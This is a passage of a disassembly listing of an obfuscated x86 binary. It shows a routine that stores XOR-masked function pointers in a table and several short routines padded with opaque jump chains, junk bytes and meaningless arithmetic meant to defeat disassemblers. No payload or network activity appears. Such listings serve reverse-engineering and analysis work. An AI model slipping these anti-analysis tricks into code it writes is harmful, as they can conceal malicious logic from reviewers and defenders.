		mov	eax, offset sub_4A2AC5
		xor	eax, dword_4ED2D4
		xor	eax, dword_4ED32C
		mov	dword_4F3838, eax
		mov	ecx, offset sub_4A0F6F
		xor	ecx, dword_4ED2D4
		xor	ecx, dword_4ED330
		mov	dword_4F383C, ecx
		mov	edx, offset sub_49C5D4
		xor	edx, dword_4ED2D4
		xor	edx, dword_4ED334
		mov	dword_4F3840, edx
		mov	eax, offset sub_49FFBA
		xor	eax, dword_4ED2D4
		xor	eax, dword_4ED338
		mov	dword_4F3844, eax
		mov	ecx, offset sub_499AF4
		xor	ecx, dword_4ED2D4
		xor	ecx, dword_4ED33C
		mov	dword_4F3848, ecx
		mov	edx, offset sub_49591C
		xor	edx, dword_4ED2D4
		xor	edx, dword_4ED340
		mov	dword_4F384C, edx
		mov	eax, offset sub_49B95C
		xor	eax, dword_4ED2D8
		xor	eax, dword_4ED2CC
		mov	dword_4F3850, eax
		mov	ecx, offset sub_49A9A8
		xor	ecx, dword_4ED2D8
		xor	ecx, dword_4ED2D0
		mov	dword_4F3854, ecx
		mov	edx, offset sub_49F983
		xor	edx, dword_4ED2D8
		xor	edx, dword_4ED2D4
		mov	dword_4F3858, edx
		mov	eax, offset sub_49961E
		xor	eax, dword_4ED2D8
		xor	eax, dword_4ED2DC
		mov	dword_4F385C, eax
		mov	ecx, offset sub_49C7E4
		xor	ecx, dword_4ED2D8
		xor	ecx, dword_4ED2DC
		mov	dword_4F3860, ecx
		mov	edx, offset sub_49A789
		xor	edx, dword_4ED2D8
		xor	edx, dword_4ED2E0
		mov	dword_4F3864, edx
		mov	eax, offset sub_4A2083
		xor	eax, dword_4ED2D8
		xor	eax, dword_4ED2E4
		mov	dword_4F3868, eax
		mov	ecx, offset sub_49DDD2
		xor	ecx, dword_4ED2D8
		xor	ecx, dword_4ED2E8
		mov	dword_4F386C, ecx
		mov	edx, offset sub_49B322
		xor	edx, dword_4ED2D8
		xor	edx, dword_4ED2EC
		mov	dword_4F3870, edx
		mov	eax, offset sub_499ED8
		xor	eax, dword_4ED2D8
		xor	eax, dword_4ED2F0
		mov	dword_4F3874, eax
		mov	ecx, offset sub_495547
		xor	ecx, dword_4ED2D8
		xor	ecx, dword_4ED2F4
		mov	dword_4F3878, ecx
		mov	edx, offset sub_49A84F
		xor	edx, dword_4ED2D8
		xor	edx, dword_4ED2F8
		mov	dword_4F387C, edx
		mov	eax, offset sub_49EBC7
		xor	eax, dword_4ED2D8
		xor	eax, dword_4ED2FC
		mov	dword_4F3880, eax
		mov	ecx, offset sub_4954BD
		xor	ecx, dword_4ED2D8
		xor	ecx, dword_4ED300
		mov	dword_4F3884, ecx
		mov	edx, offset sub_49BEF2
		xor	edx, dword_4ED2D8
		xor	edx, dword_4ED304
		mov	dword_4F3888, edx
		mov	eax, offset sub_49B14F
		xor	eax, dword_4ED2D8
		xor	eax, dword_4ED308
		mov	dword_4F388C, eax
		mov	ecx, offset sub_4A2956
		xor	ecx, dword_4ED2D8
		xor	ecx, dword_4ED30C
		mov	dword_4F3890, ecx
		mov	edx, offset sub_4A0C75
		xor	edx, dword_4ED2D8
		xor	edx, dword_4ED310
		mov	dword_4F3894, edx
		mov	eax, offset sub_498DD8
		xor	eax, dword_4ED2D8
		xor	eax, dword_4ED314
		mov	dword_4F3898, eax
		mov	ecx, offset sub_498EB8
		xor	ecx, dword_4ED2D8
		xor	ecx, dword_4ED318
		mov	dword_4F389C, ecx
		mov	edx, offset sub_4A1925
		xor	edx, dword_4ED2D8
		xor	edx, dword_4ED31C
		mov	dword_4F38A0, edx
		mov	eax, offset sub_4959C8
		xor	eax, dword_4ED2D8
		xor	eax, dword_4ED320
		mov	dword_4F38A4, eax
		mov	ecx, offset sub_49EF50
		xor	ecx, dword_4ED2D8
		xor	ecx, dword_4ED324
		mov	dword_4F38A8, ecx
		mov	edx, offset sub_4980E0
		xor	edx, dword_4ED2D8
		xor	edx, dword_4ED328
		mov	dword_4F38AC, edx
		mov	eax, offset sub_49DBDA
		xor	eax, dword_4ED2D8
		xor	eax, dword_4ED32C
		mov	dword_4F38B0, eax
		mov	ecx, offset sub_49568F
		xor	ecx, dword_4ED2D8
		xor	ecx, dword_4ED330
		mov	dword_4F38B4, ecx
		mov	edx, offset sub_4A0875
		xor	edx, dword_4ED2D8
		xor	edx, dword_4ED334
		mov	dword_4F38B8, edx
		mov	eax, offset sub_4A3527
		xor	eax, dword_4ED2D8
		xor	eax, dword_4ED338
		mov	dword_4F38BC, eax
		mov	ecx, offset sub_49D65B
		xor	ecx, dword_4ED2D8
		xor	ecx, dword_4ED33C
		mov	dword_4F38C0, ecx
		mov	edx, offset sub_49F54E
		xor	edx, dword_4ED2D8
		xor	edx, dword_4ED340
		mov	dword_4F38C4, edx
		mov	eax, offset sub_4A2EAD
		xor	eax, dword_4ED2DC
		xor	eax, dword_4ED2CC
		mov	dword_4F38C8, eax
		mov	ecx, offset sub_4A1FE3
		xor	ecx, dword_4ED2DC
		xor	ecx, dword_4ED2D0
		mov	dword_4F38CC, ecx
		mov	edx, offset sub_4A120D
		xor	edx, dword_4ED2DC
		xor	edx, dword_4ED2D4
		mov	dword_4F38D0, edx
		mov	eax, offset sub_49D9C7
		xor	eax, dword_4ED2DC
		xor	eax, dword_4ED2D8
		mov	dword_4F38D4, eax
		mov	ecx, offset sub_4A174B
		xor	ecx, dword_4ED2DC
		xor	ecx, dword_4ED2E0
		mov	dword_4F38D8, ecx
		mov	edx, offset sub_4961D1
		xor	edx, dword_4ED2DC
		xor	edx, dword_4ED2E0
		mov	dword_4F38DC, edx
		mov	eax, offset sub_4A2605
		xor	eax, dword_4ED2DC
		xor	eax, dword_4ED2E4
		mov	dword_4F38E0, eax
		mov	ecx, offset sub_498B94
		xor	ecx, dword_4ED2DC
		xor	ecx, dword_4ED2E8
		mov	dword_4F38E4, ecx
		mov	edx, offset sub_49FA2C
		xor	edx, dword_4ED2DC
		xor	edx, dword_4ED2EC
		mov	dword_4F38E8, edx
		mov	eax, offset sub_4A10E7
		xor	eax, dword_4ED2DC
		xor	eax, dword_4ED2F0
		mov	dword_4F38EC, eax
		mov	ecx, offset sub_4A0EBB
		xor	ecx, dword_4ED2DC
		xor	ecx, dword_4ED2F4
		mov	dword_4F38F0, ecx
		mov	edx, offset sub_49D360
		xor	edx, dword_4ED2DC
		xor	edx, dword_4ED2F8
		mov	dword_4F38F4, edx
		mov	eax, offset sub_4A19CF
		xor	eax, dword_4ED2DC
		xor	eax, dword_4ED2FC
		mov	dword_4F38F8, eax
		mov	ecx, offset sub_49D446
		xor	ecx, dword_4ED2DC
		xor	ecx, dword_4ED300
		mov	dword_4F38FC, ecx
		mov	edx, offset sub_4A1A72
		xor	edx, dword_4ED2DC
		xor	edx, dword_4ED304
		mov	dword_4F3900, edx
		mov	eax, offset sub_49C177
		xor	eax, dword_4ED2DC
		xor	eax, dword_4ED308
		mov	dword_4F3904, eax
		mov	ecx, offset sub_49850A
		xor	ecx, dword_4ED2DC
		xor	ecx, dword_4ED30C
		mov	dword_4F3908, ecx
		mov	edx, offset sub_49B29C
		xor	edx, dword_4ED2DC
		xor	edx, dword_4ED310
		mov	dword_4F390C, edx
		mov	eax, offset sub_49B1F8
		xor	eax, dword_4ED2DC
		xor	eax, dword_4ED314
		mov	dword_4F3910, eax
		mov	ecx, offset sub_4A2579
		xor	ecx, dword_4ED2DC
		xor	ecx, dword_4ED318
		mov	dword_4F3914, ecx
		mov	edx, offset sub_49B7FC
		xor	edx, dword_4ED2DC
		xor	edx, dword_4ED31C
		mov	dword_4F3918, edx
		mov	eax, offset sub_4A0DD4
		xor	eax, dword_4ED2DC
		xor	eax, dword_4ED320
		mov	dword_4F391C, eax
		mov	ecx, offset sub_496126
		xor	ecx, dword_4ED2DC
		xor	ecx, dword_4ED324
		mov	dword_4F3920, ecx
		mov	edx, offset sub_49F152
		xor	edx, dword_4ED2DC
		xor	edx, dword_4ED328
		mov	dword_4F3924, edx
		mov	eax, offset sub_4955CD
		xor	eax, dword_4ED2DC
		xor	eax, dword_4ED32C
		mov	dword_4F3928, eax
		mov	ecx, offset sub_49CB87
		xor	ecx, dword_4ED2DC
		xor	ecx, dword_4ED330
		mov	dword_4F392C, ecx
		mov	edx, offset sub_49E7E2
		xor	edx, dword_4ED2DC
		xor	edx, dword_4ED334
		mov	dword_4F3930, edx
		mov	eax, offset sub_49AF99
		xor	eax, dword_4ED2DC
		xor	eax, dword_4ED338
		mov	dword_4F3934, eax
		mov	ecx, offset sub_49DB26
		xor	ecx, dword_4ED2DC
		xor	ecx, dword_4ED33C
		mov	dword_4F3938, ecx
		mov	edx, offset sub_4A305B
		xor	edx, dword_4ED2DC
		xor	edx, dword_4ED340
		mov	dword_4F393C, edx
		mov	eax, offset sub_4991C7
		xor	eax, dword_4ED2E0
		xor	eax, dword_4ED2CC
		mov	dword_4F3940, eax
		mov	ecx, offset sub_49EDE3
		xor	ecx, dword_4ED2E0
		xor	ecx, dword_4ED2D0
		mov	dword_4F3944, ecx
		mov	edx, offset sub_49BD56
		xor	edx, dword_4ED2E0
		xor	edx, dword_4ED2D4
		mov	dword_4F3948, edx
		mov	eax, offset sub_49818A
		xor	eax, dword_4ED2E0
		xor	eax, dword_4ED2D8
		mov	dword_4F394C, eax
		mov	ecx, offset sub_49AC45
		xor	ecx, dword_4ED2E0
		xor	ecx, dword_4ED2DC
		mov	dword_4F3950, ecx
		mov	edx, offset sub_4A17F2
		xor	edx, dword_4ED2E0
		xor	edx, dword_4ED2E4
		mov	dword_4F3954, edx
		mov	eax, offset sub_497D6E
		xor	eax, dword_4ED2E0
		xor	eax, dword_4ED2E4
		mov	dword_4F3958, eax
		mov	ecx, offset sub_499701
		xor	ecx, dword_4ED2E0
		xor	ecx, dword_4ED2E8
		mov	dword_4F395C, ecx
		mov	edx, offset sub_4A1875
		xor	edx, dword_4ED2E0
		xor	edx, dword_4ED2EC
		mov	dword_4F3960, edx
		mov	eax, offset sub_4A1B8A
		xor	eax, dword_4ED2E0
		xor	eax, dword_4ED2F0
		mov	dword_4F3964, eax
		mov	ecx, offset sub_498423
		xor	ecx, dword_4ED2E0
		xor	ecx, dword_4ED2F4
		mov	dword_4F3968, ecx
		mov	edx, offset sub_499E2C
		xor	edx, dword_4ED2E0
		xor	edx, dword_4ED2F8
		mov	dword_4F396C, edx
		mov	eax, offset sub_498865
		xor	eax, dword_4ED2E0
		xor	eax, dword_4ED2FC
		mov	dword_4F3970, eax
		mov	ecx, offset sub_49E4C9
		xor	ecx, dword_4ED2E0
		xor	ecx, dword_4ED300
		mov	dword_4F3974, ecx
		mov	edx, offset sub_49C675
		xor	edx, dword_4ED2E0
		xor	edx, dword_4ED304
		mov	dword_4F3978, edx
		mov	eax, offset sub_4953F2
		xor	eax, dword_4ED2E0
		xor	eax, dword_4ED308
		mov	dword_4F397C, eax
		mov	ecx, offset sub_49E703
		xor	ecx, dword_4ED2E0
		xor	ecx, dword_4ED30C
		mov	dword_4F3980, ecx
		mov	edx, offset sub_49F6DA
		xor	edx, dword_4ED2E0
		xor	edx, dword_4ED310
		mov	dword_4F3984, edx
		mov	eax, offset sub_4A33B5
		xor	eax, dword_4ED2E0
		xor	eax, dword_4ED314
		mov	dword_4F3988, eax
		mov	ecx, offset sub_4A30FC
		xor	ecx, dword_4ED2E0
		xor	ecx, dword_4ED318
		mov	dword_4F398C, ecx
		mov	edx, offset sub_49A91B
		xor	edx, dword_4ED2E0
		xor	edx, dword_4ED31C
		mov	dword_4F3990, edx
		mov	eax, offset sub_4A013E
		xor	eax, dword_4ED2E0
		xor	eax, dword_4ED320
		mov	dword_4F3994, eax
		mov	ecx, offset sub_4A118D
		xor	ecx, dword_4ED2E0
		xor	ecx, dword_4ED324
		mov	dword_4F3998, ecx
		mov	edx, offset sub_499D89
		xor	edx, dword_4ED2E0
		xor	edx, dword_4ED328
		mov	dword_4F399C, edx
		mov	eax, offset sub_49DC90
		xor	eax, dword_4ED2E0
		xor	eax, dword_4ED32C
		mov	dword_4F39A0, eax
		mov	ecx, offset sub_499502
		xor	ecx, dword_4ED2E0
		xor	ecx, dword_4ED330
		mov	dword_4F39A4, ecx
		mov	edx, offset sub_495DD2
		xor	edx, dword_4ED2E0
		xor	edx, dword_4ED334
		mov	dword_4F39A8, edx
		mov	eax, offset sub_499304
		xor	eax, dword_4ED2E0
		xor	eax, dword_4ED338
		mov	dword_4F39AC, eax
		mov	ecx, offset sub_49F3CF
		xor	ecx, dword_4ED2E0
		xor	ecx, dword_4ED33C
		mov	dword_4F39B0, ecx
		mov	edx, offset sub_499022
		xor	edx, dword_4ED2E0
		xor	edx, dword_4ED340
		mov	dword_4F39B4, edx
		mov	eax, offset sub_49BA7B
		xor	eax, dword_4ED2E4
		xor	eax, dword_4ED2CC
		mov	dword_4F39B8, eax
		mov	ecx, offset sub_49E0DC
		xor	ecx, dword_4ED2E4
		xor	ecx, dword_4ED2D0
		mov	dword_4F39BC, ecx
		mov	edx, offset sub_49BE38
		xor	edx, dword_4ED2E4
		xor	edx, dword_4ED2D4
		mov	dword_4F39C0, edx
		mov	eax, offset sub_49AB5B
		xor	eax, dword_4ED2E4
		xor	eax, dword_4ED2D8
		mov	dword_4F39C4, eax
		mov	ecx, offset sub_49CDBB
		xor	ecx, dword_4ED2E4
		xor	ecx, dword_4ED2DC
		mov	dword_4F39C8, ecx
		mov	edx, offset sub_49C3E1
		xor	edx, dword_4ED2E4
		xor	edx, dword_4ED2E0
		mov	dword_4F39CC, edx
		mov	eax, offset sub_49942C
		xor	eax, dword_4ED2E4
		xor	eax, dword_4ED2E8
		mov	dword_4F39D0, eax
		mov	ecx, offset sub_495D4D
		xor	ecx, dword_4ED2E4
		xor	ecx, dword_4ED2E8
		mov	dword_4F39D4, ecx
		mov	edx, offset sub_499942
		xor	edx, dword_4ED2E4
		xor	edx, dword_4ED2EC
		mov	dword_4F39D8, edx
		mov	eax, offset sub_49D7B9
		xor	eax, dword_4ED2E4
		xor	eax, dword_4ED2F0
		mov	dword_4F39DC, eax
		mov	ecx, offset sub_4A135E
		xor	ecx, dword_4ED2E4
		xor	ecx, dword_4ED2F4
		mov	dword_4F39E0, ecx
		mov	edx, offset sub_49FBD3
		xor	edx, dword_4ED2E4
		xor	edx, dword_4ED2F8
		mov	dword_4F39E4, edx
		mov	eax, offset sub_4997AD
		xor	eax, dword_4ED2E4
		xor	eax, dword_4ED2FC
		mov	dword_4F39E8, eax
		mov	ecx, offset sub_49C24E
		xor	ecx, dword_4ED2E4
		xor	ecx, dword_4ED300
		mov	dword_4F39EC, ecx
		mov	edx, offset sub_49E21F
		xor	edx, dword_4ED2E4
		xor	edx, dword_4ED304
		mov	dword_4F39F0, edx
		mov	eax, offset sub_4A008B
		xor	eax, dword_4ED2E4
		xor	eax, dword_4ED308
		mov	dword_4F39F4, eax
		mov	ecx, offset sub_49A2FF
		xor	ecx, dword_4ED2E4
		xor	ecx, dword_4ED30C
		mov	dword_4F39F8, ecx
		mov	edx, offset sub_4951DA
		xor	edx, dword_4ED2E4
		xor	edx, dword_4ED310
		mov	dword_4F39FC, edx
		mov	eax, offset sub_498792
		xor	eax, dword_4ED2E4
		xor	eax, dword_4ED314
		mov	dword_4F3A00, eax
		mov	ecx, offset sub_49A102
		xor	ecx, dword_4ED2E4
		xor	ecx, dword_4ED318
		mov	dword_4F3A04, ecx
		mov	edx, offset sub_49BC4B
		xor	edx, dword_4ED2E4
		xor	edx, dword_4ED31C
		mov	dword_4F3A08, edx
		mov	eax, offset sub_49A384
		xor	eax, dword_4ED2E4
		xor	eax, dword_4ED320
		mov	dword_4F3A0C, eax
		mov	ecx, offset sub_49512C
		xor	ecx, dword_4ED2E4
		xor	ecx, dword_4ED324
		mov	dword_4F3A10, ecx
		mov	edx, offset sub_4A0D39
		xor	edx, dword_4ED2E4
		xor	edx, dword_4ED328
		mov	dword_4F3A14, edx
		mov	eax, offset sub_49B5EE
		xor	eax, dword_4ED2E4
		xor	eax, dword_4ED32C
		mov	dword_4F3A18, eax
		mov	ecx, offset sub_4A1D38
		xor	ecx, dword_4ED2E4
		xor	ecx, dword_4ED330
		mov	dword_4F3A1C, ecx
		mov	edx, offset sub_49E2E4
		xor	edx, dword_4ED2E4
		xor	edx, dword_4ED334
		mov	dword_4F3A20, edx
		mov	eax, offset sub_49E56E
		xor	eax, dword_4ED2E4
		xor	eax, dword_4ED338
		mov	dword_4F3A24, eax
		mov	ecx, offset sub_4A0717
		xor	ecx, dword_4ED2E4
		xor	ecx, dword_4ED33C
		mov	dword_4F3A28, ecx
		mov	edx, offset sub_495743
		xor	edx, dword_4ED2E4
		xor	edx, dword_4ED340
		mov	dword_4F3A2C, edx
		mov	eax, offset sub_4A28AC
		xor	eax, dword_4ED2E8
		xor	eax, dword_4ED2CC
		mov	dword_4F3A30, eax
		mov	ecx, offset sub_499589
		xor	ecx, dword_4ED2E8
		xor	ecx, dword_4ED2D0
		mov	dword_4F3A34, ecx
		mov	edx, offset sub_49FC5D
		xor	edx, dword_4ED2E8
		xor	edx, dword_4ED2D4
		mov	dword_4F3A38, edx
		mov	eax, offset sub_4A041E
		xor	eax, dword_4ED2E8
		xor	eax, dword_4ED2D8
		mov	dword_4F3A3C, eax
		mov	ecx, offset sub_49DF6B
		xor	ecx, dword_4ED2E8
		xor	ecx, dword_4ED2DC
		mov	dword_4F3A40, ecx
		mov	edx, offset sub_49EA3A
		xor	edx, dword_4ED2E8
		xor	edx, dword_4ED2E0
		mov	dword_4F3A44, edx
		mov	eax, offset sub_49EC69
		xor	eax, dword_4ED2E8
		xor	eax, dword_4ED2E4
		mov	dword_4F3A48, eax
		mov	ecx, offset sub_4A0919
		xor	ecx, dword_4ED2E8
		xor	ecx, dword_4ED2EC
		mov	dword_4F3A4C, ecx
		mov	edx, offset sub_49FD2C
		xor	edx, dword_4ED2E8
		xor	edx, dword_4ED2EC
		mov	dword_4F3A50, edx
		mov	eax, offset sub_498A8F
		xor	eax, dword_4ED2E8
		xor	eax, dword_4ED2F0
		mov	dword_4F3A54, eax
		mov	ecx, offset sub_4A12D7
		xor	ecx, dword_4ED2E8
		xor	ecx, dword_4ED2F4
		mov	dword_4F3A58, ecx
		mov	edx, offset sub_49F8CA
		xor	edx, dword_4ED2E8
		xor	edx, dword_4ED2F8
		mov	dword_4F3A5C, edx
		mov	eax, offset sub_4A2A29
		xor	eax, dword_4ED2E8
		xor	eax, dword_4ED2FC
		mov	dword_4F3A60, eax
		mov	ecx, offset sub_4A1F6A
		xor	ecx, dword_4ED2E8
		xor	ecx, dword_4ED300
		mov	dword_4F3A64, ecx
		mov	edx, offset sub_495329
		xor	edx, dword_4ED2E8
		xor	edx, dword_4ED304
		mov	dword_4F3A68, edx
		mov	eax, offset sub_4A101A
		xor	eax, dword_4ED2E8
		xor	eax, dword_4ED308
		mov	dword_4F3A6C, eax
		mov	ecx, offset sub_49D0AC
		xor	ecx, dword_4ED2E8
		xor	ecx, dword_4ED30C
		mov	dword_4F3A70, ecx
		mov	edx, offset sub_4A2494
		xor	edx, dword_4ED2E8
		xor	edx, dword_4ED310
		mov	dword_4F3A74, edx
		mov	eax, offset sub_4A2806
		xor	eax, dword_4ED2E8
		xor	eax, dword_4ED314
		mov	dword_4F3A78, eax
		mov	ecx, offset sub_49B0A6
		xor	ecx, dword_4ED2E8
		xor	ecx, dword_4ED318
		mov	dword_4F3A7C, ecx
		mov	edx, offset sub_4A349B
		xor	edx, dword_4ED2E8
		xor	edx, dword_4ED31C
		mov	dword_4F3A80, edx
		mov	eax, offset sub_49E436
		xor	eax, dword_4ED2E8
		xor	eax, dword_4ED320
		mov	dword_4F3A84, eax
		mov	ecx, offset sub_4A326F
		xor	ecx, dword_4ED2E8
		xor	ecx, dword_4ED324
		mov	dword_4F3A88, ecx
		mov	edx, offset sub_4A0331
		xor	edx, dword_4ED2E8
		xor	edx, dword_4ED328
		mov	dword_4F3A8C, edx
		mov	eax, offset sub_49D923
		xor	eax, dword_4ED2E8
		xor	eax, dword_4ED32C
		mov	dword_4F3A90, eax
		mov	ecx, offset sub_4A064A
		xor	ecx, dword_4ED2E8
		xor	ecx, dword_4ED330
		mov	dword_4F3A94, ecx
		mov	edx, offset sub_49D00C
		xor	edx, dword_4ED2E8
		xor	edx, dword_4ED334
		mov	dword_4F3A98, edx
		mov	eax, offset sub_4A14D9
		xor	eax, dword_4ED2E8
		xor	eax, dword_4ED338
		mov	dword_4F3A9C, eax
		mov	ecx, offset sub_4A0BE5
		xor	ecx, dword_4ED2E8
		xor	ecx, dword_4ED33C
		mov	dword_4F3AA0, ecx
		mov	edx, offset sub_49F5DF
		xor	edx, dword_4ED2E8
		xor	edx, dword_4ED340
		mov	dword_4F3AA4, edx
		mov	eax, offset sub_49C2F1
		xor	eax, dword_4ED2EC
		xor	eax, dword_4ED2CC
		mov	dword_4F3AA8, eax
		mov	ecx, offset sub_4986BC
		xor	ecx, dword_4ED2EC
		xor	ecx, dword_4ED2D0
		mov	dword_4F3AAC, ecx
		mov	edx, offset sub_497C2D
		xor	edx, dword_4ED2EC
		xor	edx, dword_4ED2D4
		mov	dword_4F3AB0, edx
		mov	eax, offset sub_49CF72
		xor	eax, dword_4ED2EC
		xor	eax, dword_4ED2D8
		mov	dword_4F3AB4, eax
		mov	ecx, offset sub_49910F
		xor	ecx, dword_4ED2EC
		xor	ecx, dword_4ED2DC
		mov	dword_4F3AB8, ecx
		mov	edx, offset sub_4A1DE4
		xor	edx, dword_4ED2EC
		xor	edx, dword_4ED2E0
		mov	dword_4F3ABC, edx
		mov	eax, offset sub_497F97
		xor	eax, dword_4ED2EC
		xor	eax, dword_4ED2E4
		mov	dword_4F3AC0, eax
		mov	ecx, offset sub_495B49
		xor	ecx, dword_4ED2EC
		xor	ecx, dword_4ED2E8
		mov	dword_4F3AC4, ecx
		mov	edx, offset sub_4A1576
		xor	edx, dword_4ED2EC
		xor	edx, dword_4ED2F0
		mov	dword_4F3AC8, edx
		mov	eax, offset sub_49EE78
		xor	eax, dword_4ED2EC
		xor	eax, dword_4ED2F0
		mov	dword_4F3ACC, eax
		mov	ecx, offset sub_49EFD8
		xor	ecx, dword_4ED2EC
		xor	ecx, dword_4ED2F4
		mov	dword_4F3AD0, ecx
		mov	edx, offset sub_49B525
		xor	edx, dword_4ED2EC
		xor	edx, dword_4ED2F8
		mov	dword_4F3AD4, edx
		pop	ebp
		retn
sub_4965D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_497C2D	proc near		; DATA XREF: sub_4965D8+1570o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		and	bh, 0
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 98h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 0Ch
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D8
		xor	ecx, dword_4ED3DC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_497CB8
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_497CB8:				; CODE XREF: sub_497C2D+80j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D30
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_497C2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_497CCC	proc near		; DATA XREF: sub_4965D8+1B1o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 40h
		mov	ecx, 0Ch
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		jo	short loc_497D05
		jl	short loc_497D03


loc_497D00:				; CODE XREF: sub_497CCC:loc_497D03j
					; sub_497CCC:loc_497D05j
		jmp	short loc_497D07
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_497D03:				; CODE XREF: sub_497CCC+32j
		jz	short loc_497D00


loc_497D05:				; CODE XREF: sub_497CCC+30j
		jmp	short loc_497D00
; ---------------------------------------------------------------------------


loc_497D07:				; CODE XREF: sub_497CCC:loc_497D00j
		xor	eax, eax
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		and	ecx, 40h
		jo	short loc_497D21
		jl	short loc_497D1F


loc_497D1C:				; CODE XREF: sub_497CCC:loc_497D1Fj
					; sub_497CCC:loc_497D21j
		jmp	short loc_497D23
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_497D1F:				; CODE XREF: sub_497CCC+4Ej
		jz	short loc_497D1C


loc_497D21:				; CODE XREF: sub_497CCC+4Cj
		jmp	short loc_497D1C
; ---------------------------------------------------------------------------


loc_497D23:				; CODE XREF: sub_497CCC:loc_497D1Cj
		inc	eax
		inc	cl
		inc	cl
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F8
		xor	ecx, dword_4ED3FC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_497D5A
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_497D5A:				; CODE XREF: sub_497CCC+83j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D50
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_497CCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_497D6E	proc near		; DATA XREF: sub_4965D8+DD3o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D78
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		push	7Fh
		pop	ecx
		dec	ecx
		xor	ecx, 7Eh
		and	al, cl
		mov	bh, 0Fh
		and	bl, 0
		dec	bh
		jo	short loc_497DAE
		jl	short loc_497DAC


loc_497DA7:				; CODE XREF: sub_497D6E:loc_497DACj
					; sub_497D6E:loc_497DAEj
		jmp	short loc_497DB0
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_497DAC:				; CODE XREF: sub_497D6E+37j
		jz	short loc_497DA7


loc_497DAE:				; CODE XREF: sub_497D6E+35j
		jmp	short loc_497DA7
; ---------------------------------------------------------------------------


loc_497DB0:				; CODE XREF: sub_497D6E:loc_497DA7j
		sub	bh, 6
		jo	short loc_497DBE
		jl	short loc_497DBC


loc_497DB7:				; CODE XREF: sub_497D6E:loc_497DBCj
					; sub_497D6E:loc_497DBEj
		jmp	short loc_497DC0
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_497DBC:				; CODE XREF: sub_497D6E+47j
		jz	short loc_497DB7


loc_497DBE:				; CODE XREF: sub_497D6E+45j
		jmp	short loc_497DB7
; ---------------------------------------------------------------------------


loc_497DC0:				; CODE XREF: sub_497D6E:loc_497DB7j
		and	ah, bh
		pop	ecx
		pop	ebx
		test	eax, eax
		jz	short loc_497DD0
		not	eax
		add	eax, 1
		stc
		jmp	short loc_497DD6
; ---------------------------------------------------------------------------


loc_497DD0:				; CODE XREF: sub_497D6E+58j
		not	eax
		add	eax, 1
		clc


loc_497DD6:				; CODE XREF: sub_497D6E+60j
		sbb	eax, eax
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3A8
		xor	ecx, dword_4ED3AC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_497DFE
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_497DFE:				; CODE XREF: sub_497D6E+85j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D00
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_497D6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_497E12	proc near		; DATA XREF: sub_4965D8+6D4o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
